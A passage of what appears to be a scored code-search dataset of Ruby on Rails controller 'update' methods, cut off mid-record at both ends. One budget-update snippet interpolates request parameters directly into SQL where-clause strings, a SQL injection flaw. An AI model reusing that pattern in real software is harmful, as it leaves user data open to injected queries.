"docid": "85d2ed02d760acd40f7badcfec78a18a",
"score": "0.61440974",
"text": "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"title": ""
},
{
"docid": "9735120a21ed9778be1ea2f8e2aa6591",
"score": "0.6125266",
"text": "def update\n @bid = Bid.find(params[:id])\n\n respond_to do |format|\n if @bid.update_attributes(params[:bid])\n format.html { redirect_to @bid, notice: 'Bid was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bid.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "708bfa61ba226d3d5c8559ce169e207d",
"score": "0.6113296",
"text": "def update\n respond_to do |format|\n if @bid.update(bid_params)\n format.html { redirect_to @bid, notice: 'Bid was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bid.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d308c9c3f9e456cbcbb3a9e2930faa78",
"score": "0.6092874",
"text": "def update\n @super_bowl_pick = SuperBowlPick.find(params[:id])\n\n respond_to do |format|\n if @super_bowl_pick.update_attributes(params[:super_bowl_pick])\n format.html { redirect_to @super_bowl_pick, notice: 'Super bowl pick was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @super_bowl_pick.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d54cfc21ad0e2679b3c8d29a34e10991",
"score": "0.6091115",
"text": "def update\n respond_to do |format|\n if @bidding.update(bidding_params)\n format.html { redirect_to [:admin, @bidding], notice: 'Bidding was successfully updated.' }\n format.json { render :show, status: :ok, location: @bidding }\n else\n format.html { render :edit }\n format.json { render json: @bidding.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cc9077fd597b69bec2413bfe47fcf32d",
"score": "0.60848725",
"text": "def update\n @bid = @swarm_request.bids.find(params[:id])\n\n respond_to do |format|\n if @bid.update_attributes(params[:bid])\n format.html { redirect_to(swarm_request_bid_url(:id => @bid.to_param, :swarm_request_id => @swarm_request.to_param), :notice => 'Bid was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bid.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e8b1034127bdc798f4a83604e3b07c87",
"score": "0.60372806",
"text": "def update\n budgets = update_budgets(params[:budgets])\n\n render json: budgets, status: :ok\n end",
"title": ""
},
{
"docid": "a17f221de93edf34b5ad5371015647bc",
"score": "0.6017909",
"text": "def update\n respond_to do |format|\n if @bid.update(bid_params)\n format.html { redirect_to @bid, notice: 'Bid was successfully updated.' }\n format.json { render :show, status: :ok, location: @bid }\n else\n format.html { render :edit }\n format.json { render json: @bid.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a17f221de93edf34b5ad5371015647bc",
"score": "0.6017909",
"text": "def update\n respond_to do |format|\n if @bid.update(bid_params)\n format.html { redirect_to @bid, notice: 'Bid was successfully updated.' }\n format.json { render :show, status: :ok, location: @bid }\n else\n format.html { render :edit }\n format.json { render json: @bid.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a17f221de93edf34b5ad5371015647bc",
"score": "0.6017909",
"text": "def update\n respond_to do |format|\n if @bid.update(bid_params)\n format.html { redirect_to @bid, notice: 'Bid was successfully updated.' }\n format.json { render :show, status: :ok, location: @bid }\n else\n format.html { render :edit }\n format.json { render json: @bid.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a17f221de93edf34b5ad5371015647bc",
"score": "0.6017909",
"text": "def update\n respond_to do |format|\n if @bid.update(bid_params)\n format.html { redirect_to @bid, notice: 'Bid was successfully updated.' }\n format.json { render :show, status: :ok, location: @bid }\n else\n format.html { render :edit }\n format.json { render json: @bid.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "60ecde767c1f59d996c42cac81ee7468",
"score": "0.59983605",
"text": "def update\n if @bid.update(bid_params)\n head :no_content\n else\n render json: @bid.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "6a3c6c62e29a590ea657e1236465eda3",
"score": "0.599743",
"text": "def update\n respond_to do |format|\n if @budget.update(budget_params)\n Item.where([\"budget_id = #{params[:id]}\"]).update_all(budget_id: nil)\n if !params[:budget][:items].nil?\n params[:budget][:items].each do |f| \n Item.where([\"id = #{f}\"]).first.update(budget_id: params[:id])\n end\n end\n format.html { redirect_to budgets_path, notice: \"Budget was successfully updated.\" }\n format.json { render :show, status: :ok, location: @budget }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5369f4d96f4902b52be66a7d37c77f48",
"score": "0.5996749",
"text": "def update\n respond_to do |format|\n if @auction_value.update(auction_value_params)\n format.html { redirect_to @auction_value, notice: 'Value was successfully updated.' }\n format.json { render :show, status: :ok, location: @auction_value }\n else\n format.html { render :edit }\n format.json { render json: @auction_value.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "975a46cc87160d94b6b85b5bf281c8c2",
"score": "0.5935237",
"text": "def update\n respond_to do |format|\n if @bid_request.update(bid_request_params)\n format.html { redirect_to @bid_request, notice: 'Bid request was successfully updated.' }\n format.json { render :show, status: :ok, location: @bid_request }\n else\n format.html { render :edit }\n format.json { render json: @bid_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "70f8da10221cb6191795717ff66fcda7",
"score": "0.5910894",
"text": "def update\n\n if @api_v1_item.update(api_v1_item_params)\n render json: @api_v1_item\n else\n render json: @api_v1_item.errors\n end\n end",
"title": ""
},
{
"docid": "aa7becee2fbc6ed7959d4e3d1b919557",
"score": "0.5898557",
"text": "def update\n @admin_bait = Bait.find(params[:id])\n\n respond_to do |format|\n if @admin_bait.update_attributes(params[:admin_bait])\n format.html { redirect_to @admin_bait, notice: 'Bait was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_bait.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "98ddda53cc606ebde17d9b571d77b5b5",
"score": "0.5888677",
"text": "def update\n @bowl = Bowl.find(params[:id])\n\n respond_to do |format|\n if @bowl.update_attributes(params[:bowl])\n format.html { redirect_to(@bowl, :notice => 'Bowl was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bowl.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "30da94e41d8ee5f186582dfb86d28f27",
"score": "0.58839667",
"text": "def restobooking\n @buchung = Buchung.find(params[:id])\n @buchung.status='B' \n \n respond_to do |format|\n if @buchung.update_attributes(params[:buchung])\n format.html { redirect_to @buchung, notice: 'Buchung wurde erfolgreich geaendert.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @buchung.errors, status: :unprocessable_entity }\n end\n end \n end",
"title": ""
},
{
"docid": "c3b12ea56cc30b9604e5d03d6dabb8f2",
"score": "0.5878592",
"text": "def update\n puts \"update #{@need.as_json} #{updated_params.as_json}\"\n respond_to do |format|\n if @need.update(updated_params)\n puts \"brucep update success\"\n format.html { redirect_to new_need_path }\n format.json { render :show, status: :ok, location: @need }\n else\n format.html { render :edit }\n format.json { render json: @need.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0b4fc82a67f9d1a2b001a6081ef37e57",
"score": "0.5877857",
"text": "def update\n render json: Item.update(params[\"id\"], params[\"item\"])\n end",
"title": ""
},
{
"docid": "fc30dad73497718dc5bc1f192ccbebe2",
"score": "0.58747375",
"text": "def update\n @supermarket = Supermarket.find(params[:id]) \n respond_to do |format|\n if @supermarket.update(supermarket_params)\n format.json { render json: @supermarket, status: :ok }\n end\n end\n end",
"title": ""
},
{
"docid": "9495a6d025cb44e06a4b7f617ac05566",
"score": "0.58643",
"text": "def update\n respond_to do |format|\n if @bid.update(bid_params)\n format.html { redirect_to @bid, notice: 'Bid was successfully updated.' }\n format.json { render :show, status: :ok, location: @bid }\n else\n format.html { render :edit }\n format.json { render json: @bid.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9df69bd944263c9f7011a66138715a89",
"score": "0.5857544",
"text": "def update\n respond_to do |format|\n if @bunny.update(bunny_params)\n format.html { redirect_to @bunny, notice: 'Bunny was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bunny.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "62db2272044011b9d49ef22083c53a10",
"score": "0.5850476",
"text": "def update\n respond_to do |format|\n if @bin_item.update(bin_item_params)\n format.html { redirect_to @bin_item, notice: 'bin item was successfully updated.' }\n format.json { render :show, status: :ok, location: @bin_item }\n else\n format.html { render :edit }\n format.json { render json: @bin_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7cbde493dbc9d5a4afe683610ac0e47c",
"score": "0.58464926",
"text": "def update\n @broad = Broad.find(params[:id])\n\n respond_to do |format|\n if @broad.update_attributes(params[:broad])\n format.html { redirect_to @broad, notice: 'Broad was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @broad.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "83ec54dd0bc3d146f5b0da0fc7d3d4aa",
"score": "0.5845015",
"text": "def update\n respond_to do |format|\n if @apiv1_item.update(apiv1_item_params)\n format.html { redirect_to @apiv1_item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @apiv1_item }\n else\n format.html { render :edit }\n format.json { render json: @apiv1_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f88d19ed1a3210f79c502af2e24976e1",
"score": "0.58402395",
"text": "def update\n @bet = Bet.find(params[:id])\n\n respond_to do |format|\n if @bet.update_attributes(params[:bet])\n format.html { redirect_to @bet, notice: 'Bet was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bet.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "78446716e657b40df3134226f3ac120f",
"score": "0.58183867",
"text": "def update\n @bin.assign_attributes bin_params\n\n respond_to do |format|\n if save_bin @bin\n format.html { redirect_to @bin, notice: 'Bin was successfully updated.' }\n format.json { render json: { ok: true, bin: @bin } }\n else\n Rails.logger.error \"Failed to update bin #{params[:id]}\"\n format.html { render :edit }\n format.json { render json: {\n # Respond with the current state of the bin in the database\n ok: false, errors: @bin.errors.full_messages, bin: Bin.find_by(id: params[:id]) }\n }\n end\n end\n end",
"title": ""
},
{
"docid": "6d944cd6fc389dd13592c2102b18a4fd",
"score": "0.5813774",
"text": "def update\n if @boat.update(boat_params)\n head :no_content\n else\n render json: @boat.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "cfad7af9dd5bbf51b40e0191c668a7ac",
"score": "0.58129805",
"text": "def update\n respond_to do |format|\n if @bag.update(bag_params)\n format.html { redirect_to @bag, notice: \"Bag was successfully updated.\" }\n format.json { render :show, status: :ok, location: @bag }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @bag.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "09d08fc611afb276ac7bfce88d178cb5",
"score": "0.5812086",
"text": "def update\n @blocking_client = BlockingClient.find(params[:id])\n\n respond_to do |format|\n if @blocking_client.update_attributes(params[:blocking_client])\n format.html { redirect_to @blocking_client, notice: 'Blocking client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @blocking_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1dbf8e24f3789c80d39c39c554635ffe",
"score": "0.5808643",
"text": "def update\n respond_to do |format|\n if @singleb.update(singleb_params)\n format.html { redirect_to @singleb, notice: 'Singleb was successfully updated.' }\n format.json { render :show, status: :ok, location: @singleb }\n else\n format.html { render :edit }\n format.json { render json: @singleb.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "940920178270999adda137b703502c20",
"score": "0.5804844",
"text": "def update\n respond_to do |format|\n if @cookbook.update(cookbook_params)\n format.html { redirect_to cookbook_path(@cookbook), notice: 'Cookbook was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cookbook.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e62dee24ec1f3d6fd6da8d1bc5607ba8",
"score": "0.5789925",
"text": "def update\n @borrow_request = BorrowRequest.find(params[:id])\n\n respond_to do |format|\n if @borrow_request.update_attributes(params[:borrow_request])\n format.html { redirect_to @borrow_request, notice: 'Borrow request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @borrow_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a982787b853a4461c0f662934f52dc55",
"score": "0.5782605",
"text": "def update\n respond_to do |format|\n if @bits_1.update(bits_1_params)\n format.html { redirect_to @bits_1, notice: 'Bits 1 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bits_1.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d7a5baedcb2e277db87575df48209a73",
"score": "0.5764554",
"text": "def update\n respond_to do |format|\n if @bicepstriceps1.update(bicepstriceps1_params)\n format.html { redirect_to \"/bicepstriceps1s\"}\n format.json { render :show, status: :ok, location: @bicepstriceps1 }\n else\n format.html { render :edit }\n format.json { render json: @bicepstriceps1.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6ae2636703cac49f35e812bb0e4b688a",
"score": "0.5759633",
"text": "def update\n respond_to do |format|\n if @abook.update(abook_params)\n format.html { redirect_to @abook, notice: 'Abook was successfully updated.' }\n format.json { render :show, status: :ok, location: @abook }\n else\n format.html { render :edit }\n format.json { render json: @abook.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2976317b77a1f8348fa539b3ea646cb5",
"score": "0.575057",
"text": "def update\n if @bet.update(bet_params)\n head :no_content # renders empty response\n else\n render json: @bet.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "b7ee8bd119f4eeca13eeea592ad9361d",
"score": "0.5749502",
"text": "def update\n\n respond_to do |format|\n if @bid.update_attributes(params[:bid])\n flash[:notice] = 'Bid was successfully updated.'\n format.html { redirect_to(@bid) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bid.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "abe521d9dd10e95a0cbf304ea9225df0",
"score": "0.57479036",
"text": "def update\n respond_to do |format|\n if @beef.update(beef_params)\n format.html { redirect_to @beef, notice: 'Beef was successfully updated.' }\n format.json { render :show, status: :ok, location: @beef }\n else\n format.html { render :edit }\n format.json { render json: @beef.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4b4033f154e39d812b6dc04c442686a4",
"score": "0.5747742",
"text": "def update\n respond_to do |format|\n if @bid.update(bid_params)\n @bid.maintenance_request = MaintenanceRequest.find_by_id(params[:bid][:maintenance_request_id])\n @user = User.find_by_id(@bid.maintenance_request.user_id)\n @bid.contractor = current_contractor\n if @bid.price\n @bid.payout = @bid.price * 0.90\n end\n @bid.save\n format.html { redirect_to @bid, notice: 'Bid was successfully updated.' }\n format.json { render :show, status: :ok, location: @bid }\n else\n @bid = Bid.new\n @maintenance_request = MaintenanceRequest.find_by_id(params[:maintenance_request_id])\n format.html { render :edit }\n format.json { render json: @bid.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e6903c5096b4c45bf1da0f69a9f2c06e",
"score": "0.5731585",
"text": "def update\n @bruschettum = Bruschettum.find(params[:id])\n @bruschettum.ingredients.clear\n params[:ingredient].each{|ingr|\n @bruschettum.ingredients << Ingredient.find_by_name(ingr)\n }\n\n respond_to do |format|\n if @bruschettum.update_attributes(params[:bruschettum])\n format.html { redirect_to @bruschettum, notice: 'Bruschettum was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bruschettum.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "152630fb7b582abe463b7764ed126edd",
"score": "0.57267106",
"text": "def update\n logger.info('PUT Update:')\n logger.info(request_body)\n new_pub = hashed_request\n old_pub = Publication.find_by(id: params[:id])\n if old_pub.blank?\n head :not_found\n return\n elsif old_pub.deleted?\n head :gone\n return\n end\n if old_pub.harvested_pub? # only manually entered (i.e. non-harvested) publications may be updated with this method\n render json: {\n error: \"This record SulPubID #{old_pub.id} may not be modified. If you had originally entered details for the record, \" \\\n 'it has been superceded by a central record.'\n },\n status: :forbidden, format: 'json'\n return\n elsif !validate_or_create_authors(new_pub[:authorship])\n render json: { error: 'You have not supplied a valid authorship record.' }, status: :not_acceptable,\n format: 'json'\n return\n end\n logger.info(\"Update manual publication #{old_pub.inspect} with BibJSON:\")\n logger.info(request_body)\n old_pub.update_manual_pub_from_pub_hash(new_pub, request_body)\n old_pub.save!\n old_pub.reload\n logger.debug(\"resulting pub hash: #{old_pub.pub_hash}\")\n render json: old_pub.pub_hash, status: :accepted\n end",
"title": ""
},
{
"docid": "1ee76be7f8b814022186fe75d2d308ca",
"score": "0.57233465",
"text": "def update\n respond_to do |format|\n if @bounty.update(bounty_params)\n format.html { redirect_to @bounty, notice: 'Bounty was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bounty.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e01c89bc5aa246d4fc78bc84ed5e8d14",
"score": "0.57168293",
"text": "def update\n @bid = Bid.find(params[:id])\n\n respond_to do |format|\n if @bid.update_attributes(params[:bid])\n format.html { redirect_to @bid, notice: 'Bid was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bid.errors, status: :unprocessable_entity }\n end\n end\n authorize! :manage, @bid\n end",
"title": ""
},
{
"docid": "dab3e9404d51657349cf1a1f26174cce",
"score": "0.5714717",
"text": "def update\n @basin = Basin.find(params[:id])\n\n respond_to do |format|\n if @basin.update_attributes(params[:basin])\n format.html { redirect_to @basin, notice: 'Basin was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @basin.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ac767ba0da35f74a2f78b556a37f4297",
"score": "0.57143116",
"text": "def update\n @sugar_bag = SugarBag.find(params[:id])\n\n respond_to do |format|\n if @sugar_bag.update_attributes(params[:sugar_bag])\n format.html { redirect_to @sugar_bag, notice: 'Sugar bag was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sugar_bag.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4dd0750b154299ddba8eec67a5724981",
"score": "0.5711775",
"text": "def update\n @stuff = Stuff.find(params[:id])\n\n respond_to do |format|\n if @stuff.update_attributes(params[:stuff])\n format.html { redirect_to @stuff, :notice => 'Stuff was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @stuff.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "46d269b64d21e3166daa3adb66b54f4c",
"score": "0.57054937",
"text": "def update\n @user_bid = UserBid.find(params[:id])\n\n respond_to do |format|\n if @user_bid.update_attributes(params[:user_bid])\n format.html { redirect_to @user_bid, notice: 'User bid was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_bid.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f9c20cb17f234ab72ceab74489784c58",
"score": "0.57044184",
"text": "def update\n respond_to do |format|\n if @bride.update(bride_params)\n format.html { redirect_to @bride, notice: 'Bride was successfully updated.' }\n format.json { render :show, status: :ok, location: @bride }\n else\n format.html { render :edit }\n format.json { render json: @bride.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b51488247eb5efa2822d481a54c0b909",
"score": "0.57038176",
"text": "def update\n respond_to do |format|\n if @api_v1_initiative.update(api_v1_initiative_params)\n format.html { redirect_to @api_v1_initiative, notice: 'Initiative was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1a3e4fed295f3ad3fe43a293609e4c92",
"score": "0.5703381",
"text": "def update\n respond_to do |format|\n if @cookbook.update(cookbook_params)\n format.html { redirect_to @cookbook, notice: 'Cookbook was successfully updated.' }\n format.json { render :show, status: :ok, location: @cookbook }\n else\n format.html { render :edit }\n format.json { render json: @cookbook.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8d6a61f3186174209e44862cb0ae05d7",
"score": "0.56995547",
"text": "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"title": ""
},
{
"docid": "c5622ce01c661c1cc0ec4b0839c587ff",
"score": "0.5696512",
"text": "def update\n respond_to do |format|\n if @api_v1_concern.update(api_v1_concern_params)\n format.html { redirect_to @api_v1_concern, notice: 'Concern was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_concern }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_concern.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "82369a10c45fad9dc1a1a0fc2a27f091",
"score": "0.5695307",
"text": "def update\n official = Official.find(params[:id])\n if official.update(official_params)\n render json: official, status: 200, location: [:api, official]\n else\n failed_to_update(official, \"official\")\n end\n end",
"title": ""
},
{
"docid": "358dc1a0e9b1990682d8964e3192e76c",
"score": "0.5693119",
"text": "def update\n @cookbook = Cookbook.find(params[:id])\n\n respond_to do |format|\n if @cookbook.update_attributes(params[:cookbook])\n format.html { redirect_to @cookbook, notice: 'Cookbook was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cookbook.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "34f5fb8e67cc1ba033c19582960b5fa9",
"score": "0.56914157",
"text": "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { respond_with_bip(@item) }\n else\n format.html { render action: 'edit' }\n format.json { respond_with_bip(@item) }\n end\n end\n end",
"title": ""
},
{
"docid": "104ed9692ef742723d263aa672f6828c",
"score": "0.5691068",
"text": "def update\n respond_to do |format|\n if @auction_foregift.update(auction_foregift_params)\n format.html { redirect_to @auction_foregift, notice: 'Auction foregift was successfully updated.' }\n format.json { render :show, status: :ok, location: @auction_foregift }\n else\n format.html { render :edit }\n format.json { render json: @auction_foregift.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8e5447e829d6abe5c2bd06a39b1a9f5d",
"score": "0.56898665",
"text": "def update\n respond_to do |format|\n if @api_v1_initiative_update.update(api_v1_initiative_update_params)\n format.html { redirect_to @api_v1_initiative_update, notice: 'Initiative update was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative_update }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative_update.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9b81728f39c98f5fef4a6bf13d82e916",
"score": "0.56840634",
"text": "def update\n respond_to do |format|\n if @pick.update_attributes(picks_params)\n format.html { redirect_to games_path, notice: 'Pick was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pick.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "55dc679e8ae9ab08f7fe5756be21b439",
"score": "0.56697243",
"text": "def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end",
"title": ""
},
{
"docid": "922f3a1af8665c4ff5173f39dcf950ec",
"score": "0.5662965",
"text": "def update\n @bid = Bid.find(params[:id])\n\n respond_to do |format|\n if @bid.update_attributes(params[:bid])\n flash[:notice] = 'Bid was successfully updated.'\n format.html { redirect_to bid_url(@bid) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bid.errors.to_xml }\n end\n end\n end",
"title": ""
},
{
"docid": "0179ee9c4085204e876b309a4699b500",
"score": "0.5659063",
"text": "def set_auction\n @auction = Auction.find(params[:id])\n end",
"title": ""
},
{
"docid": "0179ee9c4085204e876b309a4699b500",
"score": "0.5659063",
"text": "def set_auction\n @auction = Auction.find(params[:id])\n end",
"title": ""
},
{
"docid": "0179ee9c4085204e876b309a4699b500",
"score": "0.5659063",
"text": "def set_auction\n @auction = Auction.find(params[:id])\n end",
"title": ""
},
{
"docid": "0179ee9c4085204e876b309a4699b500",
"score": "0.5659063",
"text": "def set_auction\n @auction = Auction.find(params[:id])\n end",
"title": ""
},
{
"docid": "0179ee9c4085204e876b309a4699b500",
"score": "0.5659063",
"text": "def set_auction\n @auction = Auction.find(params[:id])\n end",
"title": ""
},
{
"docid": "1167cd27cd1fb43f4943b64e7be17837",
"score": "0.5656538",
"text": "def update\n ingredient.update(ingredient_params)\n render json: ingredient\n end",
"title": ""
},
{
"docid": "729c3dc41ea1884e5aa9680583f4d079",
"score": "0.56563044",
"text": "def update\n respond_to do |format|\n if @bacon.update(bacon_params)\n format.html { redirect_to @bacon, notice: 'Bacon was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bacon.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26384bed57ea1212c9fe83eb05b108b4",
"score": "0.5651082",
"text": "def update\n if is_login\n @user = User.find_by_id(session[:user_id])\n @auction = Auction.find(params[:id])\n @auction.user_name = @user.username\n respond_to do |format|\n if @auction.update_attributes(params[:auction])\n format.html { redirect_to(@auction, :notice => 'Auction was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @auction.errors, :status => :unprocessable_entity }\n end\n end\n else\n session[:user_id] = nil\n login\n end\n end",
"title": ""
},
{
"docid": "830171cb51e8a3fc9908a5b30c6c0203",
"score": "0.56506026",
"text": "def update\n @block = Block.find(params[:id])\n\t@conferences = Conference.all\n\t@tracks = Track.all\n\n respond_to do |format|\n if @block.update_attributes(params[:block])\n format.html { redirect_to @block, notice: 'Block was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @block.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f07154fa41dee5ccaad23590b121be25",
"score": "0.5644025",
"text": "def update\n respond_to do |format|\n if @observance.update(observance_params)\n format.html { redirect_to @observance, notice: 'Observance was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @observance.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2527b18413782d68e2c2ee6eceafe732",
"score": "0.5643739",
"text": "def update\n @borrow = Borrow.find(params[:id])\n\n respond_to do |format|\n if @borrow.update_attributes(params[:borrow])\n format.html { redirect_to @borrow, notice: 'Borrow was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @borrow.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2dafcb85b4154b63d7144b4e45d7c518",
"score": "0.5642744",
"text": "def update\n respond_to do |format|\n if @my_boice.update(my_boice_params)\n format.html { redirect_to @my_boice, notice: 'My boice was successfully updated.' }\n format.json { render :show, status: :ok, location: @my_boice }\n else\n format.html { render :edit }\n format.json { render json: @my_boice.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a782d35178f57bdee01ec44f318149c6",
"score": "0.56392324",
"text": "def update\n @asset.update(price: params[:asset][:price])\n json_response(@asset,:created)\n end",
"title": ""
},
{
"docid": "ddc3dabaac834d6e13990ac52c0f2aa9",
"score": "0.5633764",
"text": "def update\n @data = @recipe.update(params[:id], recipe_params)\n render json: @data\n end",
"title": ""
},
{
"docid": "8243daed398b98283331551ecc42e989",
"score": "0.56336075",
"text": "def update\n respond_to do |format|\n if @bond.update(bond_params)\n format.html { redirect_to bonds_path, notice: I18n.t('messages.updated_with', item: @bond.company) }\n format.json { render :show, status: :ok, location: @bond }\n else\n format.html { render :edit }\n format.json { render json: @bond.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "576f27e4c99d0868b0454fedc7deba0c",
"score": "0.56332237",
"text": "def update # PATCH\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "939213d9663059bf0d64fe1ce04983ed",
"score": "0.56329405",
"text": "def update\n recipe.update(recipe_params)\n render json: recipe\n end",
"title": ""
},
{
"docid": "9da10a98123a478b86e209165a13ba9b",
"score": "0.56324035",
